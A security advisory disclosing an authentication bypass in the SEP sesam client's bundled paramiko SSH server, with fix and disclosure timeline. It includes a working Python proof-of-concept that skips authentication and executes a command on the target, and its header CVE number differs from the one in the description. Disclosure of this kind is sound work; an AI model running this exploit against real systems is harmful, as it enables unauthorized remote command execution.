usd-2018-0025 | SEP sesam/4.4.3.62

Advisory ID: usd-2018-0025
CVE Number: CVE-2018-7750
Affected Product: SEP sesam
Affected Version: 4.4.3.62
Vulnerability Type: Authentication Bypass
Security Risk: High
Vendor URL: https://www.sep.de/
Vendor Status: Fixed

Description

SEP sesam uses an outdated version of paramiko (2.2.3) in sm_sshd, which has a known authentication bypass vulnerability (CVE-2018-1000805)

Proof of Concept

Install the SEP sesam client. It opens an SSH server at port 11322. Run the following python script to exploit CVE-2018-1000805.

#!/usr/bin/env python
from paramiko.common import cMSG_USERAUTH_SUCCESS, cMSG_USERAUTH_INFO_RESPONSE
import paramiko

port = 11322
hostname = '[IP of client machine]'
username = ''
password = ''

client = paramiko.SSHClient()

#enable warning policy to allow connections to all servers
client.set_missing_host_key_policy(paramiko.WarningPolicy())

#overwrite auth method to skip the auth process
client._auth = lambda *args, **kwargs: None
client.connect(hostname, port, username, password)

#craft MSG_USERAUTH_SUCCESS message
m = paramiko.Message()
m.add_byte(cMSG_USERAUTH_SUCCESS)
client._transport._send_message(m)

stdin, stdout, stderr = client.exec_command('whoami')
print stdout.read()

client.close()

Fix

Update paramiko to version 2.2.4

Timeline

  • 2018-09-11 notify info@sep.de
  • 2018-10-08 notify support@sep.de
  • 2018-12-07 verified that sesam 4.4.3-64 uses Paramiko 2.2.4
  • 2018-12-07 Security advisory released

Credits

This security vulnerabilities were found by Daniel Hoffmann and Konstantin Samuel of usd AG.

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Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.